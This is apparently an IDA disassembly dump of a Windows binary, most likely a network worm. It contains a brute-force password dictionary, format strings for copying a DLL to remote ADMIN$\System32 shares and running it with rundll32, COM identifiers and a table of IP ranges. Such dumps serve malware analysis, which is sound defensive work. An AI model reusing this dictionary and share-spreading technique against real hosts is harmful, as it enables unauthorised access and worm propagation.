.text:009B92ECo a111111 db '111111',0 ; DATA XREF: .text:009B92E8o align 4 a11111 db '11111',0 ; DATA XREF: .text:009B92E4o align 10h a1111 db '1111',0 ; DATA XREF: .text:009B92E0o align 4 a111 db '111',0 ; DATA XREF: .text:009B92DCo a11 db '11',0 ; DATA XREF: .text:009B92D8o align 10h a1: ; DATA XREF: sub_9B542A+8Fo ; .text:009B92D4o unicode 0, <1>,0 a00000000 db '00000000',0 ; DATA XREF: .text:009B92D0o align 10h a0000000 db '0000000',0 ; DATA XREF: .text:009B92CCo a00000 db '00000',0 ; DATA XREF: .text:009B92C4o ; .text:009B92C8o align 10h a0000 db '0000',0 ; DATA XREF: .text:009B92C0o align 4 a000 db '000',0 ; DATA XREF: .text:009B92BCo a00 db '00',0 ; DATA XREF: .text:009B92B8o align 10h a0987654321 db '0987654321',0 ; DATA XREF: .text:009B92B0o align 4 a987654321 db '987654321',0 ; DATA XREF: .text:009B92ACo align 4 a87654321 db '87654321',0 ; DATA XREF: .text:009B92A8o align 4 a7654321 db '7654321',0 ; DATA XREF: .text:009B92A4o a654321 db '654321',0 ; DATA XREF: .text:009B92A0o align 4 a54321 db '54321',0 ; DATA XREF: .text:009B929Co align 4 a4321 db '4321',0 ; DATA XREF: .text:009B9298o align 4 a321 db '321',0 ; DATA XREF: .text:009B9294o a21 db '21',0 ; DATA XREF: .text:009B9290o align 4 a12 db '12',0 ; DATA XREF: .text:009B928Co align 10h aFuck db 'fuck',0 ; DATA XREF: .text:009B9288o align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: .text:009B9284o align 10h aZzzz db 'zzzz',0 ; DATA XREF: .text:009B9280o align 4 aZzz db 'zzz',0 ; DATA XREF: .text:009B927Co aXxxxx db 'xxxxx',0 ; DATA XREF: .text:009B9278o align 4 aXxxx db 'xxxx',0 ; DATA XREF: .text:009B9274o align 4 aXxx db 'xxx',0 ; DATA XREF: .text:009B9270o aQqqqq db 'qqqqq',0 ; DATA XREF: .text:009B926Co align 4 aQqqq db 'qqqq',0 ; DATA XREF: .text:009B9268o align 10h aQqq db 'qqq',0 ; DATA XREF: .text:009B9264o aAaaaa db 'aaaaa',0 ; DATA XREF: .text:009B9260o align 4 aAaaa db 'aaaa',0 ; DATA XREF: .text:009B925Co align 4 aAaa_0 db 'aaa',0 ; DATA XREF: .text:009B9258o aSql db 'sql',0 ; DATA XREF: .text:009B9254o aFile db 'file',0 ; DATA XREF: .text:009B9250o align 4 aWeb db 'web',0 ; DATA XREF: .text:009B924Co aFoo db 'foo',0 ; DATA XREF: .text:009B9248o aJob db 'job',0 ; DATA XREF: .text:009B9244o aHome db 'home',0 ; DATA XREF: .text:009B9240o align 4 aWork db 'work',0 ; DATA XREF: .text:009B923Co align 10h aIntranet db 'intranet',0 ; DATA XREF: .text:009B9238o align 4 aController db 'controller',0 ; DATA XREF: .text:009B9234o align 4 aKiller db 'killer',0 ; DATA XREF: .text:009B9230o align 10h aGames db 'games',0 ; DATA XREF: .text:009B922Co align 4 aPrivate db 'private',0 ; DATA XREF: .text:009B9228o aMarket db 'market',0 ; DATA XREF: .text:009B9224o align 4 aCoffee db 'coffee',0 ; DATA XREF: .text:009B9220o align 10h aCookie db 'cookie',0 ; DATA XREF: .text:009B921Co align 4 aForever db 'forever',0 ; DATA XREF: .text:009B9218o aFreedom db 'freedom',0 ; DATA XREF: .text:009B9214o aStudent db 'student',0 ; DATA XREF: .text:009B9210o aAccount db 'account',0 ; DATA XREF: .text:009B920Co aAcademia db 'academia',0 ; DATA XREF: .text:009B9208o align 4 aFiles db 'files',0 ; DATA XREF: .text:009B9204o align 4 aWindows db 'windows',0 ; DATA XREF: .text:009B9200o aMonitor db 'monitor',0 ; DATA XREF: .text:009B91FCo aUnknown db 'unknown',0 ; DATA XREF: .text:009B91F8o aAnything db 'anything',0 ; DATA XREF: .text:009B91F4o align 10h aLetitbe db 'letitbe',0 ; DATA XREF: .text:009B91F0o aLetmein db 'letmein',0 ; DATA XREF: .text:009B91ECo aDomain db 'domain',0 ; DATA XREF: .text:009B91E8o align 4 aAccess db 'access',0 ; DATA XREF: .text:009B91E4o align 10h aMoney db 'money',0 ; DATA XREF: .text:009B91E0o align 4 aCampus db 'campus',0 ; DATA XREF: .text:009B91DCo align 10h aExplorer db 'explorer',0 ; DATA XREF: .text:009B91D8o align 4 aExchange db 'exchange',0 ; DATA XREF: .text:009B91D4o align 4 aCustomer db 'customer',0 ; DATA XREF: .text:009B91D0o align 4 aCluster db 'cluster',0 ; DATA XREF: .text:009B91CCo aNobody db 'nobody',0 ; DATA XREF: .text:009B91C8o align 4 aCodeword db 'codeword',0 ; DATA XREF: .text:009B91C4o align 10h aCodename db 'codename',0 ; DATA XREF: .text:009B91C0o align 4 aChangeme db 'changeme',0 ; DATA XREF: .text:009B91BCo align 4 aDesktop db 'desktop',0 ; DATA XREF: .text:009B91B8o aSecurity db 'security',0 ; DATA XREF: .text:009B91B4o align 4 aSecure db 'secure',0 ; DATA XREF: .text:009B91B0o align 4 aPublic db 'public',0 ; DATA XREF: .text:009B91ACo align 4 aSystem db 'system',0 ; DATA XREF: .text:009B91A8o align 4 aShadow db 'shadow',0 ; DATA XREF: .text:009B91A4o align 4 aOffice db 'office',0 ; DATA XREF: .text:009B91A0o align 4 aSupervisor db 'supervisor',0 ; DATA XREF: .text:009B919Co align 10h aSuperuser db 'superuser',0 ; DATA XREF: .text:009B9198o align 4 aShare db 'share',0 ; DATA XREF: .text:009B9194o align 4 aSuper db 'super',0 ; DATA XREF: .text:009B9190o align 4 aSecret db 'secret',0 ; DATA XREF: .text:009B918Co align 4 aServer db 'server',0 ; DATA XREF: .text:009B9188o align 4 aComputer db 'computer',0 ; DATA XREF: .text:009B9184o align 4 aOwner db 'owner',0 ; DATA XREF: .text:009B9180o align 10h aBackup db 'backup',0 ; DATA XREF: .text:009B917Co align 4 aDatabase db 'database',0 ; DATA XREF: .text:009B9178o align 4 aLotus db 'lotus',0 ; DATA XREF: .text:009B9174o align 4 aOracle db 'oracle',0 ; DATA XREF: .text:009B9170o align 4 aBusiness db 'business',0 ; DATA XREF: .text:009B916Co align 10h aManager db 'manager',0 ; DATA XREF: .text:009B9168o aTemporary db 'temporary',0 ; DATA XREF: .text:009B9164o align 4 aIhavenopass db 'ihavenopass',0 ; DATA XREF: .text:009B9160o aNothing db 'nothing',0 ; DATA XREF: .text:009B915Co aNopassword db 'nopassword',0 ; DATA XREF: .text:009B9158o align 4 aNopass db 'nopass',0 ; DATA XREF: .text:009B9154o align 4 aInternet db 'Internet',0 ; DATA XREF: .text:009B9150o align 4 aInternet_0 db 'internet',0 ; DATA XREF: .text:009B914Co align 4 aExample db 'example',0 ; DATA XREF: .text:009B9148o aSample db 'sample',0 ; DATA XREF: .text:009B9144o align 4 aLove123 db 'love123',0 ; DATA XREF: .text:009B9140o aBoss123 db 'boss123',0 ; DATA XREF: .text:009B913Co aWork123 db 'work123',0 ; DATA XREF: .text:009B9138o aHome123 db 'home123',0 ; DATA XREF: .text:009B9134o aMypc123 db 'mypc123',0 ; DATA XREF: .text:009B9130o aTemp123 db 'temp123',0 ; DATA XREF: .text:009B912Co aTest123 db 'test123',0 ; DATA XREF: .text:009B9128o aQwe123 db 'qwe123',0 ; DATA XREF: .text:009B9124o align 4 aAbc123 db 'abc123',0 ; DATA XREF: .text:009B9120o align 4 aPw123 db 'pw123',0 ; DATA XREF: .text:009B911Co align 4 aRoot123 db 'root123',0 ; DATA XREF: .text:009B9118o aPass123 db 'pass123',0 ; DATA XREF: .text:009B9114o aPass12 db 'pass12',0 ; DATA XREF: .text:009B9110o align 4 aPass1 db 'pass1',0 ; DATA XREF: .text:009B910Co align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .text:009B9108o align 10h aAdmin12 db 'admin12',0 ; DATA XREF: .text:009B9104o aAdmin1 db 'admin1',0 ; DATA XREF: .text:009B9100o align 10h aPassword123 db 'password123',0 ; DATA XREF: .text:009B90FCo aPassword12 db 'password12',0 ; DATA XREF: .text:009B90F8o align 4 aPassword1 db 'password1',0 ; DATA XREF: .text:009B90F4o align 4 aDefault db 'default',0 ; DATA XREF: .text:009B90F0o aFoobar db 'foobar',0 ; DATA XREF: .text:009B90ECo align 4 aFoofoo db 'foofoo',0 ; DATA XREF: .text:009B90E8o align 4 aTemptemp db 'temptemp',0 ; DATA XREF: .text:009B90E4o align 4 aTemp db 'temp',0 ; DATA XREF: .text:009B90E0o align 10h aTesttest db 'testtest',0 ; DATA XREF: .text:009B90DCo align 4 aTest db 'test',0 ; DATA XREF: .text:009B90D8o align 4 aRootroot db 'rootroot',0 ; DATA XREF: .text:009B90D4o align 10h aRoot db 'root',0 ; DATA XREF: .text:009B90D0o align 4 aAdminadmin db 'adminadmin',0 ; DATA XREF: .text:009B90CCo align 4 aMypassword db 'mypassword',0 ; DATA XREF: .text:009B90C8o align 10h aMypass db 'mypass',0 ; DATA XREF: .text:009B90C4o align 4 aPass db 'pass',0 ; DATA XREF: .text:009B90C0o align 10h aLogin db 'Login',0 ; DATA XREF: .text:009B90BCo align 4 aLogin_0 db 'login',0 ; DATA XREF: .text:009B90B8o align 10h aPassword db 'Password',0 ; DATA XREF: .text:009B90B4o align 4 aPassword_0 db 'password',0 ; DATA XREF: .text:009B90B0o align 4 aPasswd db 'passwd',0 ; DATA XREF: .text:009B90ACo align 10h aZxcvbn db 'zxcvbn',0 ; DATA XREF: .text:009B90A8o align 4 aZxcvb db 'zxcvb',0 ; DATA XREF: .text:009B90A4o align 10h aZxccxz db 'zxccxz',0 ; DATA XREF: .text:009B90A0o align 4 aZxcxz db 'zxcxz',0 ; DATA XREF: .text:009B909Co align 10h aQazwsxedc db 'qazwsxedc',0 ; DATA XREF: .text:009B9098o align 4 aQazwsx db 'qazwsx',0 ; DATA XREF: .text:009B9094o align 4 aQ1w2e3 db 'q1w2e3',0 ; DATA XREF: .text:009B9090o align 4 aQweasdzxc db 'qweasdzxc',0 ; DATA XREF: .text:009B908Co align 4 aAsdfgh db 'asdfgh',0 ; DATA XREF: .text:009B9088o align 10h aAsdzxc db 'asdzxc',0 ; DATA XREF: .text:009B9084o align 4 aAsddsa db 'asddsa',0 ; DATA XREF: .text:009B9080o align 10h aAsdsa db 'asdsa',0 ; DATA XREF: .text:009B907Co align 4 aQweasd db 'qweasd',0 ; DATA XREF: .text:009B9078o align 10h aQwerty db 'qwerty',0 ; DATA XREF: .text:009B9074o align 4 aQweewq db 'qweewq',0 ; DATA XREF: .text:009B9070o align 10h aQwewq db 'qwewq',0 ; DATA XREF: .text:009B906Co align 4 aNimda db 'nimda',0 ; DATA XREF: .text:009B9068o align 10h aAdministrator db 'administrator',0 ; DATA XREF: .text:009B9064o align 10h aAdmin db 'Admin',0 ; DATA XREF: .text:009B9060o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: .text:009B905Co align 10h aA1b2c3 db 'a1b2c3',0 ; DATA XREF: .text:009B9058o align 4 a1q2w3e db '1q2w3e',0 ; DATA XREF: .text:009B9054o align 10h a1234qwer db '1234qwer',0 ; DATA XREF: .text:009B9050o align 4 a1234abcd db '1234abcd',0 ; DATA XREF: .text:009B904Co align 4 a123asd db '123asd',0 ; DATA XREF: .text:009B9048o align 10h a123qwe db '123qwe',0 ; DATA XREF: .text:009B9044o align 4 a123abc db '123abc',0 ; DATA XREF: .text:009B9040o align 10h a123321 db '123321',0 ; DATA XREF: .text:009B903Co align 4 a12321 db '12321',0 ; DATA XREF: .text:009B9038o align 10h a123123 db '123123',0 ; DATA XREF: .text:009B9034o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .text:009B9030o align 4 a123456789 db '123456789',0 ; DATA XREF: .text:009B902Co align 10h a12345678 db '12345678',0 ; DATA XREF: .text:009B9028o align 4 a1234567 db '1234567',0 ; DATA XREF: .text:009B9024o a123456 db '123456',0 ; DATA XREF: .text:009B9020o align 4 a12345 db '12345',0 ; DATA XREF: .text:009B901Co align 4 a1234 db '1234',0 ; DATA XREF: .text:009B9018o align 4 a123 db '123',0 ; DATA XREF: .text:009B9014o ; wchar_t aSIpc aSIpc: ; DATA XREF: sub_9A827D+12o ; sub_9A82BC+13o unicode 0, <\\%s\IPC$>,0 ; wchar_t Str Str dw 0 ; DATA XREF: sub_9A82BC+54o ; sub_9AD062+1F4o align 4 ; wchar_t aS aS: ; DATA XREF: sub_9A8326+249o unicode 0, <\\%s>,0 align 4 ; wchar_t aRundll32_exeSS aRundll32_exeSS: ; DATA XREF: sub_9A8326+230o unicode 0, <rundll32.exe %s,%s>,0 align 4 ; wchar_t aSAdminSystem32 aSAdminSystem32: ; DATA XREF: sub_9A8326+102o ; sub_9A8326+118o unicode 0, <\\%s\ADMIN$\System32\%s>,0 ; wchar_t aDll aDll: ; DATA XREF: sub_9A8326+C2o ; sub_9A8326+E7o unicode 0, <dll>,0 ; wchar_t a_ a_: ; DATA XREF: sub_9A8326+8Fo unicode 0, <.>,0 dword_9A2F88 dd 0C08956A1h, 11D11CD3h, 8000C5B1h, 0E27C15Fh ; DATA XREF: sub_9A8A72+8Do dword_9A2F98 dd 20404h, 0 ; DATA XREF: sub_9A8A72+3Eo dd 0C0h, 46000000h ; IID rclsid rclsid dd 5C63C1ADh ; Data1 ; DATA XREF: sub_9A8C1B+49o dw 3956h ; Data2 dw 4FF8h ; Data3 db 84h, 86h, 40h, 3, 47h, 58h, 31h, 5Bh; Data4 ; IID riid riid dd 0C08956B7h ; Data1 ; DATA XREF: sub_9A8C1B+41o dw 1CD3h ; Data2 dw 11D1h ; Data3 db 0B1h, 0C5h, 0, 80h, 5Fh, 0C1h, 27h, 0Eh; Data4 stru_9A2FC8 _msEH <0FFFFFFFFh, offset loc_9A8C8D, offset loc_9A8C91> ; DATA XREF: sub_9A8C1B+2o align 8 dword_9A2FD8 dd 510CDD60h ; DATA XREF: sub_9A8DB4:loc_9A8DD1r dword_9A2FDC dd 510CDD7Fh ; DATA XREF: sub_9A8DB4+25r db 0 db 68h, 0C7h, 5Bh ; --------------------------------------------------------------------------- jmp fword ptr [eax-39h] ; --------------------------------------------------------------------------- db 5Bh db 0 db 0D1h, 58h, 0C0h db 0FFh db 0D1h, 58h, 0C0h db 0 db 58h, 0F2h, 0CFh db 0FFh db 58h, 0F2h, 0CFh db 0C0h ; À db 2Bh, 2Ah, 0Ch db 0C7h ; Ç db 2Bh, 2Ah, 0Ch db 0 db 0B5h, 84h, 43h db 0FFh db 0B5h, 84h, 43h db 0 db 34h, 77h, 42h db 0FFh db 34h, 77h, 42h db 0 db 0C4h, 17h, 0D0h db 7Fh ; db 0C4h, 17h, 0D0h db 0 align 2 dw 8DCAh db 0FFh db 0FFh, 0CAh, 8Dh db 0 align 2 dw 8277h db 0FFh db 0FFh, 77h, 82h db 0 align 2 dw 8A2Ah db 0FFh ; --------------------------------------------------------------------------- jmp fword ptr [edx] ; --------------------------------------------------------------------------- db 8Ah db 0 align 2 dw 82C8h db 0FFh db 0FFh, 0C8h, 82h db 0 align 2 dw 9B23h db 0FFh ; --------------------------------------------------------------------------- jmp dword ptr [ebx] ; --------------------------------------------------------------------------- db 9Bh db 0 db 0A7h, 0A6h, 0CDh ; --------------------------------------------------------------------------- jmp dword ptr [edi+3900CDA6h] ; --------------------------------------------------------------------------- dw 0D0D4h db 0FFh db 39h, 0D4h, 0D0h db 0 db 98h, 0D4h, 0D0h db 0FFh db 9Bh, 0D4h, 0D0h db 0 db 40h, 0F2h, 0D0h db 0FFh db 41h, 0F2h, 0D0h db 0 db 85h, 0F3h, 0D0h db 1Fh db 85h, 0F3h, 0D0h db 80h ; € db 0E7h, 0F5h, 0D0h db 9Fh ; Ÿ db 0E7h, 0F5h, 0D0h aPAPASp?Sp? db 'ÀØAߨAÀ™p?Ï™p?',0 db 0DAh, 7Dh, 3Fh db 0FFh db 0DAh, 7Dh, 3Fh db 80h ; € db 3Dh, 0D2h, 41h db 0BFh ; ¿ db 3Dh, 0D2h, 41h db 40h ; @ db 2Dh, 0CEh, 41h db 7Fh ; db 2Dh, 0CEh, 41h db 0 db 0Eh, 0F6h, 41h db 0FFh db 0Eh, 0F6h, 41h db 0 ; --------------------------------------------------------------------------- sub [esi+3Fh], dh jmp fword ptr [ecx] ; --------------------------------------------------------------------------- dw 3F76h db 0 db 34h, 76h, 3Fh db 0FFh db 37h, 76h, 3Fh db 0C8h ; È db 0A5h, 0C8h, 41h db 0CFh ; Ï db 0A5h, 0C8h, 41h db 0D0h ; Ð db 98h, 0FDh, 0D0h db 0DFh ; ß db 98h, 0FDh, 0D0h db 58h ; X db 0D8h, 0FFh, 0D0h db 5Fh ; _ db 0D8h, 0FFh, 0D0h db 80h ; € db 0Eh, 0BCh, 0CEh db 0BFh ; ¿ db 0Eh, 0BCh, 0CEh db 0C0h ; À db 0Eh, 0BCh, 0CEh db 0FFh db 0Eh, 0BCh, 0CEh db 60h ; ` db 0F6h, 0D8h, 41h db 67h ; g db 0F6h, 0D8h, 41h db 80h ; € db 53h ; S db 11h db 0CCh ; Ì db 0BFh ; ¿ db 53h ; S db 11h db 0CCh ; Ì db 0 db 0B6h ; ¶ db 0E8h ; è db 0D0h ; Ð db 0FFh db 0B6h ; ¶ db 0E8h ; è db 0D0h ; Ð db 80h ; € db 57h ; W db 0E8h ; è db 0D0h ; Ð db 0FFh db 57h ; W db 0E8h ; è db 0D0h ; Ð db 58h ; X db 7 db 20h db 48h ; H db 5Fh ; _ db 7, 20h, 48h db 0D8h ; Ø db 0BEh, 0E1h, 45h db 0DFh ; ß db 0BEh, 0E1h, 45h db 60h ; ` db 17h, 0E6h, 45h db 67h ; g db 17h, 0E6h, 45h db 60h ; ` db 17h, 76h, 0CCh db 7Fh ; db 17h, 76h, 0CCh db 0 db 0D4h, 0C8h, 41h db 0FFh db 0D4h, 0C8h, 41h db 0 db 91h, 62h, 0C1h db 0FFh db 91h, 62h, 0C1h db 10h db 8Ah, 17h, 0D4h db 1Fh db 8Ah, 17h, 0D4h db 48h ; H align 2 dw 50EFh db 4Fh ; O align 2 dw 50EFh db 0E8h ; è db 38h, 0, 0D5h db 0EFh ; ï db 38h, 0, 0D5h db 90h db 6Bh, 0, 0D5h db 97h ; — db 6Bh, 0, 0D5h db 0C0h ; À db 2Ch, 0B5h, 0Ch db 0C7h ; Ç db 2Ch, 0B5h, 0Ch db 0B0h ; ° db 1Dh, 0B8h, 0Ch db 0BFh ; ¿ db 1Dh, 0B8h, 0Ch db 0 db 80h, 0BBh, 0C0h db 0FFh db 80h, 0BBh, 0C0h db 0 db 80h, 0BBh, 0C0h db 0FFh db 80h, 0BBh, 0C0h db 0B0h ; ° db 17h, 24h, 0Ch db 0BFh ; ¿ db 17h, 24h, 0Ch db 0 db 26h, 98h, 0Ch db 7Fh ; db 26h, 98h, 0Ch db 30h ; 0 db 0C7h, 29h, 40h db 37h ; 7 db 0C7h, 29h, 40h db 0 db 97h, 29h, 40h db 0FFh aC@si@qi@0s?sAe db '—)@è¨)@ï¨)@0è',7,'Ð?è',7,'ЀEbCŸEbC@HbC_HbC •Z?¿•Z?',0 db 50h, 61h, 43h db 0FFh db 51h, 61h, 43h db 40h ; @ db 15h, 0D8h, 41h db 7Fh ; db 15h, 0D8h, 41h db 90h db 39h, 0F2h, 48h db 97h ; — db 39h, 0F2h, 48h db 20h db 68h, 58h, 44h db 27h ; ' db 68h ; h db 58h ; X db 44h ; D db 0C0h ; À db 0F2h ; ò db 88h ; ˆ db 63h ; c db 0C7h ; Ç db 0F2h ; ò db 88h ; ˆ db 63h ; c db 0D8h ; Ø db 52h, 59h, 44h db 0DFh ; ß db 52h, 59h, 44h db 0 db 1, 54h, 0D8h db 0FFh db 1, 54h, 0D8h db 48h ; H db 71h, 0DBh, 45h db 4Fh ; O db 71h, 0DBh, 45h db 80h ; € db 14h, 35h, 4Bh db 87h ; ‡ db 14h, 35h, 4Bh db 70h ; p db 8Ch, 5Dh, 42h db 77h ; w db 8Ch, 5Dh, 42h db 0C0h ; À db 16h, 5Ch, 42h db 0CFh ; Ï db 16h, 5Ch, 42h db 0A0h ; db 0E8h, 41h, 3Fh db 0AFh ; ¯ db 0E8h, 41h, 3Fh db 90h db 0E8h, 41h, 3Fh db 97h ; — db 0E8h, 41h, 3Fh db 30h ; 0 db 3Ch, 48h, 44h db 37h ; 7 db 3Ch, 48h, 44h db 80h ; € db 95h, 5Ah, 3Fh db 9Fh ; Ÿ db 95h, 5Ah, 3Fh db 70h ; p db 5Dh, 41h, 3Fh db 7Fh ; db 5Dh, 41h, 3Fh db 0 db 5Eh, 41h, 3Fh db 0Fh aA?A?oA?A?A? db '^A?`^A?o^A?(ܼÐ/ܼÐÐ^A?ß^A?',0 db 46h, 8Fh, 0D8h db 0FFh db 47h, 8Fh, 0D8h db 0B0h ; ° db 97h, 0E1h, 46h db 0B7h ; · db 97h, 0E1h, 46h db 0 align 2 dw 836Bh db 0FFh ; --------------------------------------------------------------------------- jmp fword ptr [ebx-7Dh] ; --------------------------------------------------------------------------- db 0 db 5Ah, 5Ch, 0C0h db 0FFh db 5Ah, 5Ch, 0C0h db 0 db 0E8h, 69h, 0C6h db 0FFh db 0EBh, 69h, 0C6h db 0 db 3Ah, 0E7h, 0CCh db 0FFh db 3Ah, 0E7h, 0CCh db 0 db 4Dh, 8Ch, 0CCh db 0FFh db 4Dh, 8Ch, 0CCh db 0 db 50h, 8Ch, 0CCh db 0FFh db 53h, 8Ch, 0CCh db 0 db 1Ch, 3Ch, 0C7h db 0FFh db 1Ch, 3Ch, 0C7h db 0 db 5Ah, 67h, 0C7h db 0FFh db 5Bh, 67h, 0C7h db 0 db 7Ah, 67h, 0C7h db 0FFh db 7Ah, 67h, 0C7h db 0 db 65h, 4Fh, 0CCh ; --------------------------------------------------------------------------- jmp dword ptr [ebp+4Fh] ; --------------------------------------------------------------------------- db 0CCh db 0 db 43h, 0EDh, 0C0h ; --------------------------------------------------------------------------- inc dword ptr [ebx-13h] rol byte ptr [eax], 61h mov esi, eax jmp dword ptr [ecx-77h] ; --------------------------------------------------------------------------- db 0C6h db 0 db 87h, 4Fh, 0CCh db 0FFh db 87h, 4Fh, 0CCh db 0 db 0B3h, 4Fh, 0CCh db 0FFh db 0B3h, 4Fh, 0CCh db 0 db 0B4h, 4Fh, 0CCh db 0FFh db 0B5h, 4Fh, 0CCh db 0 db 0BCh, 4Fh, 0CCh db 0FFh db 0BCh, 4Fh, 0CCh db 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 0CC4Fh db 0FFh db 0C5h, 4Fh, 0CCh db 0 db 5Ch, 6, 0C7h db 0FFh db 5Eh, 6, 0C7h db 0 db 7, 4Fh, 0CCh db 0FFh db 7, 4Fh, 0CCh db 0 db 1Bh, 4Fh, 0CCh db 0FFh db 1Bh, 4Fh, 0CCh db 0 ; --------------------------------------------------------------------------- dec edx mov ah, 0C6h dec dword ptr [ebx-4Ch] mov byte ptr [eax], 5Fh mov ah, 0C6h jmp dword ptr [ecx-4Ch] ; --------------------------------------------------------------------------- db 0C6h db 0 db 0ECh, 0E7h, 0CCh db 0FFh db 0ECh, 0E7h, 0CCh db 0 db 0Ah, 0F8h, 0CDh db 0FFh db 0Fh, 0F8h, 0CDh db 0 db 3Fh, 0A3h, 0CDh db 0FFh db 3Fh, 0A3h, 0CDh db 0 db 3Eh, 0A3h, 0CDh db 0FFh db 3Eh, 0A3h, 0CDh db 0 align 2 dw 0CDA3h db 0FFh db 9Fh, 0A3h, 0CDh db 0 db 29h, 0F8h, 0CDh ; --------------------------------------------------------------------------- jmp fword ptr [ebx] ; --------------------------------------------------------------------------- dw 0CDF8h db 0 db 32h, 0F8h, 0CDh db 0FFh db 33h, 0F8h, 0CDh db 0 db 3Dh, 0F8h, 0CDh db 0FFh db 3Fh, 0F8h, 0CDh db 0 db 48h, 0F8h, 0CDh db 0FFh db 48h, 0F8h, 0CDh db 0 db 0D4h, 0F8h, 0CDh db 0FFh db 0D7h, 0F8h, 0CDh db 0 db 0E4h, 0F8h, 0CDh ; --------------------------------------------------------------------------- jmp esp ; --------------------------------------------------------------------------- dw 0CDF8h db 0 db 0EBh, 0F8h, 0CDh db 0FFh db 0EBh, 0F8h, 0CDh db 0 db 4Ch, 0E7h, 0CCh db 0FFh db 4Ch, 0E7h, 0CCh db 0 db 0C0h, 0E7h, 0CCh db 0FFh db 0C0h, 0E7h, 0CCh db 0 db 0C2h ;  db 0E7h ; ç db 0CCh ; Ì db 0FFh db 0DFh, 0E7h, 0CCh db 0 db 50h, 4Eh, 0CFh db 0FFh db 50h, 4Eh, 0CFh db 0 db 51h, 4Eh, 0CFh db 0FFh db 51h, 4Eh, 0CFh db 0 db 52h, 4Eh, 0CFh db 0FFh db 52h, 4Eh, 0CFh db 0 db 0F3h, 0F8h, 0CDh db 0FFh db 0F4h, 0F8h, 0CDh db 0 db 3, 75h, 0CFh db 0FFh db 3, 75h, 0CFh db 0 db 75h, 12h, 0CFh db 0FFh db 75h, 12h, 0CFh db 0 ; --------------------------------------------------------------------------- sbb ecx, [ebx-74E40030h] rol byte ptr [eax], 1 aad 1Ch sar edi, 1 aad 1Ch rol dword ptr [eax], 1 inc esp ror edi, 1 inc dword ptr [ecx+edx*8-31h] add [eax+5Fh], ah int 3 ; Trap to Debugger jmp fword ptr [edi+5Fh] ; --------------------------------------------------------------------------- align 4 db 0C0h ; À db 5Dh, 9Eh, 0CFh db 0DFh ; ß db 5Dh, 9Eh, 0CFh db 0C0h ; À db 7Bh, 0F0h, 0CFh db 0DFh ; ß db 7Bh, 0F0h, 0CFh db 0 db 0CDh, 1Ah, 0D0h db 0FFh db 0CDh, 1Ah, 0D0h db 0 db 9Dh, 0C5h, 0C0h ; --------------------------------------------------------------------------- call fword ptr [ebp-18FF3F3Bh] test esp, ecx jmp edi ; --------------------------------------------------------------------------- dw 0CC85h db 0 db 60h, 48h, 0D8h ; --------------------------------------------------------------------------- jmp dword ptr [ebx+48h] ; --------------------------------------------------------------------------- db 0D8h db 98h ; ˜ db 0A6h, 0E5h, 0CFh db 9Fh ; Ÿ db 0A6h, 0E5h, 0CFh db 0 ; --------------------------------------------------------------------------- xchg eax, ebp pop edi int 3 ; Trap to Debugger call dword ptr [ebp-2AB733A1h] rcl cl, 4Fh aad 0C0h rol dword ptr [eax], 1 retf ; --------------------------------------------------------------------------- dw 0CE49h db 0FFh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0CE49h db 0 db 76h, 49h, 0CEh db 0FFh db 76h, 49h, 0CEh db 10h db 36h, 2Dh, 0D0h db 17h db 36h, 2Dh, 0D0h db 8 db 36h, 2Dh, 0D0h db 0Fh db 36h, 2Dh, 0D0h db 0 db 1Fh, 49h, 0CEh db 0FFh db 1Fh, 49h, 0CEh db 80h ; € db 32h, 0A1h, 3Fh db 0FFh db 32h, 0A1h, 3Fh db 0 db 32h, 0A1h, 3Fh db 7Fh ; db 32h, 0A1h, 3Fh db 0E0h ; à db 8, 0F0h, 0CFh dword_9A345C dd 0CFF008EFh, 9D360000h, 9D3CFFFFh, 0D02D59F8h, 0D02D59FFh dd 0CEB64500h, 0CEB645FFh, 0CEB6F000h, 0CEB6F0FFh, 0CEB6F100h dd 0CEB6F1FFh, 0CE494300h, 0CE4943FFh, 0CEB6FB00h, 0CEB6FBFFh dd 0CEB6F700h, 0CEB6F7FFh, 0CEB6EC00h, 0CEB6ECFFh, 3FECC640h dd 3FECC647h, 3FECC698h, 3FECC69Fh, 0A579FDE8h, 0A579FDEFh dd 3FECAA40h, 3FECAA47h, 3FECBA40h, 3FECBA47h, 3FECBB68h dd 3FECBB6Fh, 3FECBB80h, 3FECBB87h, 3FECBBA0h, 3FECBBA7h dd 0C7028900h, 0C70289FFh, 0D8DE68E0h, 0D8DE68EFh, 3F975740h dd 3F975747h, 404D5260h, 404D5267h, 404D5D50h, 404D5D5Fh dd 41340000h, 4137FFFFh, 0CF2E0000h, 0CF2EFFFFh, 836B0000h dd 836BFFFFh, 0CF448000h, 0CF44CFFFh, 0CCB69000h, 0CCB69FFFh dd 0CE6B2200h, 0CE6B22FFh, 0CDF09E00h, 0CDF09FFFh, 0CC4FFC00h dd 0CC4FFCFFh, 40C8D310h, 40C8D31Fh, 0CB2A300h, 0CB2A31Fh dd 452C7E50h, 452C7E5Fh, 3FAD2A80h, 3FAD2AFFh, 0C1C6C00h dd 0C1C6C7Fh, 41AA1D00h, 41AA1D07h, 43848560h, 43848567h dd 806B000h, 806B0FFh, 0CDF85000h, 0CDF881FFh, 3F947BF0h dd 3F947BF7h, 4029C100h, 4029C1FFh, 40554620h, 4055462Fh dd 40555160h, 40555167h, 40555168h, 4055516Fh, 0D820A8E0h dd 0D820A8FFh, 0CE4F4A20h, 0CE4F4A2Fh, 0D820AFE0h, 0D820AFFFh dd 0D820B400h, 0D820B7FFh, 0D821E5E0h, 0D821E5FFh, 0D821EC00h dd 0D821EFFFh, 0D821F000h, 0D821F3FFh, 0D820F000h, 0D820F3FFh dd 0D8223300h, 0D82233FFh, 0D1017000h, 0D10170FFh, 0D1017100h dd 0D10171FFh, 0D1010F00h, 0D1010FFFh, 0D82235B0h, 0D82235BFh dd 0D82308E0h, 0D82308EFh, 0D1B98000h, 0D1B983FFh, 4172AF80h dd 4172AF9Fh, 400FE560h, 400FE57Fh, 400FB100h, 400FB1FFh dd 400FAAC0h, 400FAAC7h, 0D18FEE00h, 0D18FEEFFh, 400FB200h dd 400FB2FFh, 4223D178h, 4223D17Fh, 4223D380h, 4223D3BFh dd 4223D030h, 4223D03Fh, 0D8219400h, 0D82197FFh, 0D8234258h dd 0D823425Fh, 0CE620A0h, 0CE620A7h, 0C357C00h, 